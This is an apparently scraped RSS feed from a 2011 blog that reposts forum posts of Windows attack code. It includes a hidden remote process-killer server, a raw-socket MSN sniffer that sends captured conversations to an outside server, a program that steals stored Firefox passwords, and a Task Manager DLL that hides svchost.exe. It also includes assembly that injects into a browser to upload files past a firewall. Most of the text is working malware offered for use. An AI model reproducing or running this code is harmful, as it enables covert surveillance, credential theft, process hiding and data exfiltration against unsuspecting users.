<p>&nbsp;&nbsp;sprintf(server_buf, "&lt;html&gt;&lt;head&gt;&lt;title&gt;%s&lt;/title&gt;&lt;/head&gt;\n"<br>&nbsp;&nbsp;&nbsp;&nbsp;"&lt;body&gt;&lt;h2&gt;Msn Killer&lt;/h2&gt;&lt;hr&gt;&lt;a href=\"msn\"&gt;Terminate Msn Messenger&lt;/a&gt;&lt;hr&gt;&lt;small&gt;Msn Kill by Jarhead&lt;/small&gt;&lt;/body&gt;&lt;/head&gt;&lt;/html&gt;\n", SERVER_VER);<br>&nbsp;&nbsp;sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));<br>&nbsp;&nbsp;send(s, listing, strlen(listing), 0);<br>&nbsp;&nbsp;send(s, server_buf, strlen(server_buf), 0);<br>&nbsp;&nbsp;free(listing);<br>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;free(server_buf);<br>&nbsp;&nbsp;closesocket(s);<br>&nbsp;}</p>
<p>&nbsp;uri++;</p>
<p>&nbsp;unescape_url(uri);</p>
<p>if (strcmp(uri, "msn") == 0) {<br>&nbsp;&nbsp;// yay, msn page.<br>&nbsp;&nbsp;server_buf = malloc(1024);<br>&nbsp;&nbsp;BuildHeader(server_buf, 200, "OK");<br>&nbsp;&nbsp;send(s, server_buf, strlen(server_buf), 0);<br>&nbsp;&nbsp;listing = malloc(512);<br>if(killProc("msnmsgr.exe"))<br>sprintf(server_buf, "&lt;html&gt;&lt;head&gt;&lt;title&gt;%s&lt;/title&gt;&lt;/head&gt;\n"<br>"&lt;body&gt;&lt;h2&gt;Msn Proccess Killed&lt;/h2&gt;&lt;hr&gt;&lt;small&gt;"<br>"Msn Kill by Jarhead&lt;/small&gt;&lt;/body&gt;&lt;/head&gt;&lt;/html&gt;\n", SERVER_VER);</p>
<p>else sprintf(server_buf, "&lt;html&gt;&lt;head&gt;&lt;title&gt;%s&lt;/title&gt;&lt;/head&gt;\n"<br>"&lt;body&gt;&lt;h2&gt;Proccess not killed&lt;/h2&gt;&lt;hr&gt;&lt;small&gt;"<br>"Msn Kill by Jarhead&lt;/small&gt;&lt;/body&gt;&lt;/head&gt;&lt;/html&gt;\n", SERVER_VER);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;sprintf(listing, "Content-length: %d\r\n\r\n", strlen(server_buf));<br>&nbsp;&nbsp;send(s, listing, strlen(listing), 0);<br>&nbsp;&nbsp;send(s, server_buf, strlen(server_buf), 0);<br>&nbsp;&nbsp;free(listing);<br>&nbsp;&nbsp;free(client_buf);<br>&nbsp;&nbsp;free(server_buf);<br>&nbsp;&nbsp;closesocket(s);</p>
<p>&nbsp;}<br>&nbsp;//doubledot hack zomg<br>&nbsp;token = strstr (uri, "..");<br>&nbsp;while (token != NULL) {<br>&nbsp;&nbsp;memmove (token, token + 2, 2);<br>&nbsp;&nbsp;token = strstr (token, "..");<br>&nbsp;}</p>
<p>&nbsp;server_buf = malloc(1024);<br>&nbsp;&nbsp; BuildHeader(server_buf, 200, "OK");</p>
<p>&nbsp;&nbsp; free(client_buf);<br>&nbsp;free(server_buf);<br>&nbsp;closesocket(s);<br>&nbsp;return 0;</p>
<p>}</p>
<p>int main(int argc, char** argv) {<br>&nbsp;WSADATA w;<br>&nbsp;SOCKET listener, accepted;<br>&nbsp;int dummy; // for CreateThread()<br>FreeConsole(); //or just do Dev - No Cmd show<br>&nbsp;WSAStartup(MAKEWORD(2,0), &amp;w);<br>&nbsp;listener = SetUpListener("0.0.0.0",32826);</p>
<p>&nbsp;if (listener != INVALID_SOCKET) {<br>&nbsp;&nbsp;while (1) {<br>&nbsp;&nbsp;&nbsp;accepted = accept(listener, NULL, 0); // sockaddrs are silly</p>
<p>&nbsp;&nbsp;&nbsp;if ((accepted == INVALID_SOCKET) &amp;&amp; (WSAGetLastError() == WSAECONNRESET))<br>&nbsp;&nbsp;&nbsp;&nbsp;continue; // connection reset is OK, try again<br>&nbsp;&nbsp;&nbsp;else if (accepted == INVALID_SOCKET)<br>&nbsp;&nbsp;&nbsp;&nbsp;break; // otherwise, bail</p>
<p>&nbsp;&nbsp;&nbsp;// wonderful. fork the thread<br>&nbsp;&nbsp;&nbsp;CreateThread(NULL, 0, ServeWeb, &amp;accepted, 0, &amp;dummy);</p>
<p>&nbsp;&nbsp;&nbsp;// let stuff settle<br>&nbsp;&nbsp;&nbsp;Sleep(10);<br>&nbsp;&nbsp;}<br>&nbsp;}</p>
<p>&nbsp;// if we get here - shit's fucked up real bad<br>&nbsp;printf("Something went wrong. error %d\n", WSAGetLastError());<br>&nbsp;closesocket(listener);<br>&nbsp;closesocket(accepted);<br>&nbsp;WSACleanup();</p>
<p>&nbsp;return 0;<br>}</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73031.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:19 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73031.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>My Msn Sniffer simply displays incoming and outgoing msn messages </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73030.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:16:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73030.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73030.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73030.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73030.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73030.html</trackback:ping><description><![CDATA[<a href="http://www.rohitab.com/discuss/topic/28939-my-msn-sniffer/">http://www.rohitab.com/discuss/topic/28939-my-msn-sniffer/</a><br><br>Hi,<br><br>Just did this little thing to capture msn conversations. Right now it just displays the conversation in the console. You can write the output to a file or send it over the net, but you have to do that yourself.<br>You must include wsock32 and ws2_32 libs.<br><br>Maybe someone can give me insight on wether there are issues with raw sockets on specific OSes. I use XP sp2 and it works fine.<br><br><br><br>
<pre class="codemain brush:c;">#include &lt;string&gt;
#include &lt;windows.h&gt;
#include &lt;winsock2.h&gt;
#include &lt;wininet.h&gt;
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define ERROR_WSA  -1
#define ERROR_IP   -2
#define ERROR_SOCK -3
#define ERROR_BIND -4
#define ERROR_RECV -5
#define ERROR_PROT -6
#define ERROR_DATA -7
#define ERROR_TIME -8
#define BUFFERSIZE 1024*1024
#define TIMEOUTSEC 30
using namespace std;
struct iphdr
{
unsigned char   ver_len;
unsigned char   tos;
unsigned short  total_len;
unsigned short  id;
unsigned short  flags;
unsigned char   ttl;
unsigned char   protocol;
unsigned short  checksum;
unsigned long   ip_src;
unsigned long   ip_dst;
};
struct tcphdr
{
unsigned short port_src;
unsigned short port_dst;
unsigned long  seq_nr;
unsigned long  ack_nr;
unsigned char  len;
unsigned char  flags;
unsigned short win_size;
unsigned short checksum;
unsigned short align;
};
SOCKET sock;
fd_set sockset;
int initialize()
{
closesocket(sock);
//Initialize WSA
WSAData wsa;
if (WSAStartup(MAKEWORD(2, 2), &amp;wsa) != 0) return ERROR_WSA;
//Get the IP of the adapter to bind to
PHOSTENT  hostinfo;
char hostname[256];
char *ip;
if (gethostname(hostname, 256)) return ERROR_IP;
if (!(hostinfo = gethostbyname(hostname))) return ERROR_IP;
ip = inet_ntoa(*(struct in_addr *)*hostinfo-&gt;h_addr_list);
//Create a socket
sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (sock == INVALID_SOCKET) return ERROR_SOCK;
//Bind the socket
sockaddr_in addr;
int i = 1;
DWORD ret;
memset(&amp;addr, 0, sizeof(addr));
addr.sin_addr.s_addr  = inet_addr(ip);
addr.sin_family       = AF_INET;
addr.sin_port         = 0;
if (bind(sock, (sockaddr *)&amp;addr, sizeof(addr)) == SOCKET_ERROR) return ERROR_BIND;
if (WSAIoctl(sock, SIO_RCVALL, &amp;i, sizeof(i), NULL, NULL, &amp;ret, NULL, NULL) == SOCKET_ERROR) return ERROR_BIND;
//Create the socket set for timeout checking
FD_ZERO(&amp;sockset);
FD_SET(sock, &amp;sockset);
return 0;
}
int parse_tcp(char* buffer, int len, char* result)
{
iphdr   *IP;
tcphdr  *TCP;
char    *DATA;
IP   = (iphdr*) buffer;
TCP  = (tcphdr*)(buffer + sizeof(iphdr));
DATA = (char*)(buffer + sizeof(iphdr) + sizeof(tcphdr));
if (IP-&gt;protocol != 0x06) return ERROR_PROT;
memset(result, 0, BUFFERSIZE);
//test for msn message
if (memcmp(DATA,"MSG ",4)) return ERROR_DATA;
if (!strstr(DATA,"text/plain")) return ERROR_DATA;
//get the nickname
char *nick_start = DATA+4;
char *nick_end = strstr(nick_start, " ");
char nick[128];
memset(nick, 0, 128);
memcpy(nick,nick_start,nick_end-nick_start);
if (!strstr(nick,"@")) sprintf(nick,"localuser");
//get the message
char *message = strstr(DATA,"\r\n\r\n")+4;
sprintf(result,"%s: %s\n",nick, message);
return 0;
}
int post_message(char *message)
{
//make message hex
char action[BUFFERSIZE];
sprintf(action,"http://my.server.com/add_the_message_to_the_db.php?message=");
int initial_len = strlen(action);
for (int i=0; i&lt;strlen(message); i++) sprintf(action+(i*2)+initial_len, "%02X", message[i]);
printf("%s\n",action);
//Initialize the Internet session for posting messages
HINTERNET session = InternetOpen("Limitz Agent",INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
HINTERNET request = InternetOpenUrl(session, action, NULL, 0, NULL, 0);
InternetCloseHandle(request);
InternetCloseHandle(session);
return 0;
}
int run_sniffer()
{
char *buffer = (char*) malloc(BUFFERSIZE);
char *result = (char*) malloc(BUFFERSIZE);
int len, error;
timeval tv;
tv.tv_sec = TIMEOUTSEC;
tv.tv_usec = 0;
while (true)
{
memset(buffer, 0, BUFFERSIZE);
error = select(sock+1, &amp;sockset, NULL, NULL, &amp;tv);
if (error &lt;= 0)
{
//timeout
return ERROR_TIME;
}
len = recv(sock, buffer, BUFFERSIZE-1, 0);
printf(".");
if (len &lt;= 0) {
printf("%d\n",len);
break;
}
error = parse_tcp(buffer, len, result);
if (error) continue;
post_message(result);
}
free(buffer);
free(result);
return ERROR_RECV;
}
int main(int argc, char *argv[])
{
int error;
while (1)
{
error = initialize();
if (error)
{
printf("%d\n",error);
Sleep(1000);
continue;
}
error = run_sniffer();
printf("%d\n",error);
}
return 0;
}
</pre>
<!--ec2--><br>
<img src ="http://www.cnitblog.com/houcy/aggbug/73030.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:16 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73030.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Steal Firefox Passwords </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73029.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:09:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73029.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73029.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73029.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73029.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73029.html</trackback:ping><description><![CDATA[<p><br><br>// steal passwords saved in firefox<br>#include &lt;iostream&gt;<br>#include &lt;fstream&gt;<br>#include &lt;windows.h&gt;</p>
<p>&nbsp; std::string line;<br>&nbsp; std::string user;<br>&nbsp; std::string path;<br>&nbsp; std::string data;<br>&nbsp; std::string efolder;<br>&nbsp; std::string eFile;<br>&nbsp; char UserName[100];<br>&nbsp; DWORD nUserName;<br>&nbsp;&nbsp; <br>&nbsp;&nbsp; /*<br>&nbsp;&nbsp;&nbsp; The folder name &amp; file the encrypted passwords are stored in<br>&nbsp;&nbsp;&nbsp; sre randomly generated on a firefox install. So, in reality <br>&nbsp;&nbsp;&nbsp; you'd have to search the folder "Default" for a folder ending with ".stl"<br>&nbsp;&nbsp;&nbsp; (salt) - and then search for a file ending in ".s"<br>&nbsp;&nbsp; */<br>&nbsp;&nbsp;&nbsp;<a href="http://www.rohitab.com/discuss/topic/29875-steal-firefox-passwords/">http://www.rohitab.com/discuss/topic/29875-steal-firefox-passwords/</a><br>Okay, so most people don't remember every password for the internet (form auth), so they get their browser (in this case firefox) to store them. These passwords are kept in a folder different from the one shown, upon install, a random string is generated for the folder name. The passwords are encrypted in base64, which are easy to decode. But once you get the file.s file in your hands, you wouldn't care, because yellowpipe would take care of the rest.<br><br>It'ds just an idea, flame all you like! But it's easier than installing a keylogger, unless you're after a non web based password.<br><br><br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp; int main()<br>&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp; // get username<br>&nbsp;&nbsp;&nbsp;&nbsp; nUserName = sizeof(UserName);<br>&nbsp;&nbsp;&nbsp;&nbsp; GetUserName(UserName, &amp;nUserName);<br>&nbsp;&nbsp;&nbsp;&nbsp; user = UserName; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; efolder&nbsp; = "i39bfb38.slt";<br>&nbsp;&nbsp;&nbsp;&nbsp; eFile&nbsp;= "5455086.s"; <br>&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp; // read in data<br>&nbsp;&nbsp;&nbsp;&nbsp; path = "C:\\Documents and Settings\\"+user+"<a href="file://application/">\\Application</a>&nbsp;&nbsp; Data\\Mozilla\\Profiles\\Default\\"+efolder+"<a href="file://%22+efile/">\\"+eFile</a>;<br>&nbsp;&nbsp;&nbsp;&nbsp; std::ifstream in(path.c_str());<br>&nbsp;&nbsp;&nbsp;&nbsp; while(!in.eof() &amp;&amp; in.is_open())<br>&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;getline (in,line);<br>&nbsp;&nbsp;&nbsp;&nbsp;data.append(line);<br>&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp; // could send it over winsock<br>&nbsp;&nbsp;&nbsp;&nbsp; // or save to a file<br>&nbsp;&nbsp;&nbsp;&nbsp; // print it out for now.<br>&nbsp;&nbsp;&nbsp;&nbsp; std::cout &lt;&lt; data &lt;&lt; std::endl;<br>&nbsp;&nbsp;&nbsp;&nbsp; return 0; <br>&nbsp;&nbsp;&nbsp; }</p>
<img src ="http://www.cnitblog.com/houcy/aggbug/73029.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:09 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73029.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Task Manager Subclassing Dll </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73028.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:07:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73028.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73028.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73028.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73028.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73028.html</trackback:ping><description><![CDATA[<a href="http://www.rohitab.com/discuss/topic/30630-task-manager-subclassing-dll/">http://www.rohitab.com/discuss/topic/30630-task-manager-subclassing-dll/</a><br>Here is a little dll which subclasses windows task manager !<br>You need to inject it.<br>Attached is the msvc project<br>X-N2O Productions strikes again <br><br>#include &lt;windows.h&gt;<br>&nbsp;#include &lt;commctrl.h&gt;<br>&nbsp;<br>&nbsp;char *buf = NULL;<br>&nbsp;<br>&nbsp;<br>&nbsp;//All i did was reading MSDN :D<br>&nbsp;void HideTask(HWND hwnd, char name[])<br>&nbsp;{<br>&nbsp; int count, x;<br>&nbsp; LVITEM lv;<br>&nbsp; memset(&amp;lv, 0, sizeof(LVITEM));<br>&nbsp; lv.iSubItem = 0; //Item name<br>&nbsp; char *str = (char*) calloc( 1, MAX_PATH );<br>&nbsp; lv.cchTextMax = MAX_PATH;<br>&nbsp; lv.pszText = str;<br>&nbsp; count = SendMessage(hwnd, LVM_GETITEMCOUNT, 0,0);<br>&nbsp; for(x = 0; x &lt; count; x++)<br>&nbsp; {<br>&nbsp;&nbsp; SendMessage(hwnd, LVM_GETITEMTEXT, x, (LPARAM) &amp;lv);<br>&nbsp;&nbsp; if(!_stricmp(str,name))<br>&nbsp;&nbsp;&nbsp; SendMessage(hwnd,LVM_DELETEITEM,x,0);<br>&nbsp;&nbsp; //Sleep(1);<br>&nbsp; }<br>&nbsp; free(str);<br>&nbsp; return;<br>&nbsp;}<br>&nbsp;<br>&nbsp;BOOL CALLBACK enumCallback( HWND hwnd, LPARAM lParam )<br>&nbsp;{<br>&nbsp; buf = (char *) calloc( 1, MAX_PATH);<br>&nbsp; GetWindowText( hwnd, buf, MAX_PATH);<br>&nbsp; if(strstr( buf, "Processes")) //Windows task manager's ListView control<br>&nbsp;&nbsp; HideTask(hwnd,"svchost.exe");<br>&nbsp; free(buf);<br>&nbsp; return TRUE;<br>&nbsp;}<br>&nbsp;<br>&nbsp;DWORD WINAPI thread(LPVOID)<br>&nbsp;{<br>&nbsp; HWND taskMgr;<br>&nbsp; while(1) {<br>&nbsp;&nbsp; Sleep(5);<br>&nbsp;&nbsp; taskMgr = FindWindow(NULL, "Windows Task Manager");<br>&nbsp;&nbsp; if(taskMgr)<br>&nbsp;&nbsp;&nbsp; EnumChildWindows(taskMgr, enumCallback, 0);<br>&nbsp; }<br>&nbsp; return TRUE;<br>&nbsp;}<br>&nbsp;<br>&nbsp;BOOL APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpvReserved)<br>&nbsp;{<br>&nbsp; switch(dwReason){<br>&nbsp; case DLL_PROCESS_ATTACH:<br>&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp; CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)&amp;thread, NULL, NULL, NULL);<br>&nbsp;&nbsp; }<br>&nbsp;&nbsp; break;<br>&nbsp; }<br>&nbsp; return TRUE;<br>&nbsp;}
<img src ="http://www.cnitblog.com/houcy/aggbug/73028.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/houcy/" target="_blank">挑灯看剑</a> 2011-03-08 22:07 <a href="http://www.cnitblog.com/houcy/archive/2011/03/08/73028.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[fasm/c/c++] Fuplo - File Uploading And Simple Firewall Bypass </title><link>http://www.cnitblog.com/houcy/archive/2011/03/08/73027.html</link><dc:creator>挑灯看剑</dc:creator><author>挑灯看剑</author><pubDate>Tue, 08 Mar 2011 14:05:00 GMT</pubDate><guid>http://www.cnitblog.com/houcy/archive/2011/03/08/73027.html</guid><wfw:comment>http://www.cnitblog.com/houcy/comments/73027.html</wfw:comment><comments>http://www.cnitblog.com/houcy/archive/2011/03/08/73027.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/houcy/comments/commentRss/73027.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/houcy/services/trackbacks/73027.html</trackback:ping><description><![CDATA[<a href="http://www.rohitab.com/discuss/topic/31151-fasmcc-fuplo-file-uploading-and-simple-firewall-bypass/">http://www.rohitab.com/discuss/topic/31151-fasmcc-fuplo-file-uploading-and-simple-firewall-bypass/</a>
<p>Hello.<br><br>I wrote this for my friend who reads this forum. The code isn't very clear (not commented, because I wrote it very fast (in one night (~10h))) <img class=bbc_emoticon alt=:D src="http://www.rohitab.com/discuss/public/style_emoticons/default/biggrin.gif"> The only exception is utils.inc, which I ripped from my other project. Anyway I decided to show off this code, because you probably find it useful <img class=bbc_emoticon alt=;) src="http://www.rohitab.com/discuss/public/style_emoticons/default/wink.gif"> The actual code is written in FASM and it compiles to .obj-file. Object file is very similar to .DLL, but it's in linkable format so you can use it with HLLs. The source code and simple example how to use it in C++ is below (compiled .obj and Dev-C++ project file in attachment).<br><br>Method I use for firewall bypass is pretty simple and effective (not the scriptkiddish registry modification trick...) fuplo(char* szUrl, char* szFile) function in fuplo.obj first resolves default browser from registry (HKEY_CLASSES_ROOT\HTTP\shell\open\command) and uses CreateProcess with CREATE_SUSPENDED-flag to open the browser. Then, by using VirtualAllocEx and WriteProcessMemory it writes code that is used to uploading to address space of the browser. Browser executes the code and uploads the specified file -&gt; horray!<br><br>So the method relies on that firewall has given required privileges to browser to "access internet" <img class=bbc_emoticon alt=:D src="http://www.rohitab.com/discuss/public/style_emoticons/default/biggrin.gif"> I still want to say that this method is not however completely stealth, because firewall software can hook function calls to CreateProcess and WriteProcessMemory and notify user of suspicious behavior.<br><br><strong class=bbc>fuplo.ASM</strong> (im sorry about ugly indent - i used bad IDE <img class=bbc_emoticon alt=:( src="http://www.rohitab.com/discuss/public/style_emoticons/default/sad.gif">)<br><!--c1--><br><br>format MS COFF;PE GUI 4.0</p>
<p>include 'win32a.inc'<br>include 'api/wsock32.inc'<br>include 'defs.inc'</p>
<p>public fuplo as '_fuplo'</p>
<p>section '.text' code readable executable</p>
<p>..inject:<br>&nbsp;&nbsp;&nbsp;call @f<br>@@:</p>
<p>;&nbsp;&nbsp;&nbsp;pushz 'kernel32.dll'<br>;&nbsp;&nbsp;&nbsp;call LocateModule;<br>;&nbsp;&nbsp;&nbsp;pushz 'Sleep'<br>;&nbsp;&nbsp;&nbsp;push eax<br>;&nbsp;&nbsp;&nbsp;call GetProc<br>;&nbsp;&nbsp;&nbsp;mov ebx, eax<br>;@@:&nbsp;&nbsp; push 1000<br>;&nbsp;&nbsp;&nbsp;call ebx<br>;&nbsp;&nbsp;&nbsp;jmp @b<br>&nbsp;&nbsp;&nbsp;pushz 'kernel32.dll'<br>&nbsp;&nbsp;&nbsp;call LocateModule<br>&nbsp;&nbsp;&nbsp;mov ebx, eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; base of kernel in ebx</p>
<p>&nbsp;&nbsp;&nbsp;pop eax<br>&nbsp;&nbsp;&nbsp;add eax, ..endofinject-..inject-5<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;mov edi, eax<br>&nbsp;&nbsp;&nbsp;mov al, 0<br>&nbsp;&nbsp;&nbsp;or ecx, -1<br>&nbsp;&nbsp;&nbsp;repnz scasb<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;call upload</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'ExitProcess'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;push 0<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>proc upload szFile:DWORD, szUrl:DWORD<br>&nbsp;&nbsp;&nbsp;local hKernel32:DWORD<br>&nbsp;&nbsp;&nbsp;local hUser32:DWORD<br>&nbsp;&nbsp;&nbsp;local szHost:DWORD<br>&nbsp;&nbsp;&nbsp;local szPath:DWORD<br>&nbsp;&nbsp;&nbsp;local dwFileNameLen:DWORD<br>&nbsp;&nbsp;&nbsp;local szShortName:DWORD<br>&nbsp;&nbsp;&nbsp;local dwRequestLen:DWORD<br>&nbsp;&nbsp;&nbsp;local lpRequest:DWORD<br>&nbsp;&nbsp;&nbsp;local hFile:DWORD<br>&nbsp;&nbsp;&nbsp;local dwRead:DWORD<br>&nbsp;&nbsp;&nbsp;local dwFileSize:DWORD<br>&nbsp;&nbsp;&nbsp;local szRequest:DWORD<br>&nbsp;&nbsp;&nbsp;local lpLocalAlloc:DWORD<br>&nbsp;&nbsp;&nbsp;local wsa:WSADATA<br>&nbsp;&nbsp;&nbsp;local dest:sockaddr_in<br>&nbsp;&nbsp;&nbsp;local fdSock:DWORD<br>&nbsp;&nbsp;&nbsp;xor eax, eax<br>&nbsp;&nbsp;&nbsp;pushad</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'user32.dll'<br>&nbsp;&nbsp;&nbsp;pushz 'LoadLibraryA'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;mov esi, eax<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;mov [hUser32], eax</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'WS2_32.dll'<br>&nbsp;&nbsp;&nbsp;call esi<br>&nbsp;&nbsp;&nbsp;test eax, eax<br>&nbsp;&nbsp;&nbsp;je .Exit</p>
<p>&nbsp;&nbsp;&nbsp;mov [hKernel32], ebx<br>&nbsp;&nbsp;&nbsp;mov ebx, eax</p>
<p>&nbsp;&nbsp;&nbsp;lea eax, [wsa]<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;push 101h<br>&nbsp;&nbsp;&nbsp;pushz 'WSAStartup'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;test eax, eax<br>&nbsp;&nbsp;&nbsp;jnz .Exit</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; ; parsaa<br>&nbsp;&nbsp;&nbsp;mov [dwRequestLen], 0<br>&nbsp;&nbsp;&nbsp;mov edi, [szUrl]<br>&nbsp;&nbsp;&nbsp;cmp dword [edi], 'http'<br>&nbsp;&nbsp;&nbsp;jnz .wwwcheck<br>&nbsp;&nbsp;&nbsp;add edi, 7; http://<br>.wwwcheck:&nbsp; cmp dword [edi], 'www.'<br>&nbsp;&nbsp;&nbsp;jnz @f<br>&nbsp;&nbsp;&nbsp;add edi, 4<br>@@:&nbsp;&nbsp; mov esi, edi<br>&nbsp;&nbsp;&nbsp;mov al, '/'<br>&nbsp;&nbsp;&nbsp;mov ecx, 60<br>&nbsp;&nbsp;&nbsp;repnz scasb<br>&nbsp;&nbsp;&nbsp;jnz .Exit2; invalid url<br>&nbsp;&nbsp;&nbsp;sub edi, esi<br>&nbsp;&nbsp;&nbsp;add [dwRequestLen], edi<br>&nbsp;&nbsp;&nbsp;dec [dwRequestLen]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push LMEM_FIXED<br>&nbsp;&nbsp;&nbsp;pushz 'LocalAlloc'<br>&nbsp;&nbsp;&nbsp;push [hKernel32]<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;mov [lpLocalAlloc], eax<br>&nbsp;&nbsp;&nbsp;call eax</p>
<p>&nbsp;&nbsp;&nbsp;pop ecx<br>&nbsp;&nbsp;&nbsp;mov edi, eax<br>&nbsp;&nbsp;&nbsp;mov [szHost], eax<br>&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;rep movsb<br>&nbsp;&nbsp;&nbsp;mov byte [edi-1], 0</p>
<p>&nbsp;&nbsp;&nbsp;dec esi<br>&nbsp;&nbsp;&nbsp;mov edi, esi<br>&nbsp;&nbsp;&nbsp;mov al, 0<br>&nbsp;&nbsp;&nbsp;mov ecx, 0FFh<br>&nbsp;&nbsp;&nbsp;repnz scasb<br>&nbsp;&nbsp;&nbsp;jnz .Exit2<br>&nbsp;&nbsp;&nbsp;sub edi, esi<br>&nbsp;&nbsp;&nbsp;add [dwRequestLen], edi<br>&nbsp;&nbsp;&nbsp;dec [dwRequestLen]<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push edi<br>&nbsp;&nbsp;&nbsp;push LMEM_FIXED<br>&nbsp;&nbsp;&nbsp;call [lpLocalAlloc]</p>
<p>&nbsp;&nbsp;&nbsp;pop ecx<br>&nbsp;&nbsp;&nbsp;mov edi, eax<br>&nbsp;&nbsp;&nbsp;mov [szPath], eax<br>&nbsp;&nbsp;&nbsp;rep movsb</p>
<p>&nbsp;&nbsp;&nbsp;pushz 'gethostbyname'<br>&nbsp;&nbsp;&nbsp;push ebx<br>&nbsp;&nbsp;&nbsp;call GetProc<br>&nbsp;&nbsp;&nbsp;call eax<br>&nbsp;&nbsp;&nbsp;test eax, eax<br>&nbsp;&nbsp;&nbsp;je .Exit2</p>
<p>&nbsp;&nbsp;&nbsp;mov eax, [eax+hostent.h_addr_list]<br>&nbsp;&nbsp;&nbsp;mov eax, [eax]<br>&nbsp;&nbsp;&nbsp;mov eax, [eax]<br>&nbsp;&nbsp;&nbsp;mov [dest+sockaddr_in.sin_addr], eax</p>
<p>&nbsp;&nbsp;&nbsp;add [dwRequestLen], .FormatEnd-.FormatStart-6<br>&nbsp;&nbsp;&nbsp;add [dwRequestLen], 3; PANIXPANIC PANIC P�Y ATTENTI�N T� TIZ</p>
